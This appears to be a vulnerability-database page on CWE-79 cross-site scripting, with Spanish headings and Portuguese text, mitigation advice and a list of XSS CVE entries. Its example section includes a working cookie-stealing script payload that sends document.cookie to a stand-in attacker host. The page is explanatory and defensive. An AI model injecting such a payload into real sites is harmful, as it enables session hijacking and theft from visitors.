Fallos del tipo CWE-79

29.496 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-0369—GoToWP <= 5.1.1 - Contributor+ Stored XSSEPSS 0.4%CVE-2024-20273MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2026-45014MEDIUMApostrophe Vulnerable to Stored Cross-Site Scripting via Unsanitized User Display Name in Draft Version TooltipEPSS 0.4%CVE-2026-13202HIGHHTML Injection in OTDS Swagger UIEPSS 0.4%CVE-2021-47842MEDIUMStudyMD 0.3.2 - Persistent Cross-Site ScriptingEPSS 0.4%CVE-2021-47840MEDIUMMoeditor 0.2.0 - Persistent Cross-Site ScriptingEPSS 0.4%CVE-2026-26724HIGHCross Site Scripting vulnerability in Key Systems Inc Global Facilities Management Software v. 20230721a allows a remote attacker to executeEPSS 0.4%CVE-2026-66919MEDIUMStored DOM-Based Cross-Site Scripting in Node Modal HeadersEPSS 0.4%CVE-2026-66825MEDIUMCross-Site Scripting via Unsafe URL Schemes in Pivotick Property LinksEPSS 0.4%CVE-2021-23260MEDIUMStored XSS Vulnerability in File Name of the File Upload functionEPSS 0.4%CVE-2022-50585MEDIUMNagios XI < 5.8.9 Core Config Manager (CCM) XSS via Audit Log Page Search InputEPSS 0.4%CVE-2026-44651MEDIUMSillyTavern: Reflected XSS vulnerability in the CORS proxy middlewareEPSS 0.4%CVE-2023-0891MEDIUMStagtools < 2.3.7 - Contributor+ Stored XSSEPSS 0.4%CVE-2026-44371MEDIUMOpen OnDemand: Specially crafted filenames can execute javascript in the file browserEPSS 0.4%CVE-2025-4608MEDIUMStructured Content <= 1.6.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via sc_fs_local_business ShortcodeEPSS 0.4%CVE-2026-66921MEDIUMPivotick - Stored DOM-Based Cross-Site Scripting via Unescaped Markdown Node ReferencesEPSS 0.4%CVE-2022-50588MEDIUMNagios XI < 5.8.9 Stored XSS in Update CheckingEPSS 0.4%CVE-2023-0109CRITICALStored XSS in usememos/memosEPSS 0.4%CVE-2023-5323MEDIUMCross-site Scripting (XSS) - Generic in dolibarr/dolibarrEPSS 0.4%CVE-2023-0363MEDIUMScheduled Announcements Widget < 1.0 - Contributor+ Stored XSSEPSS 0.4%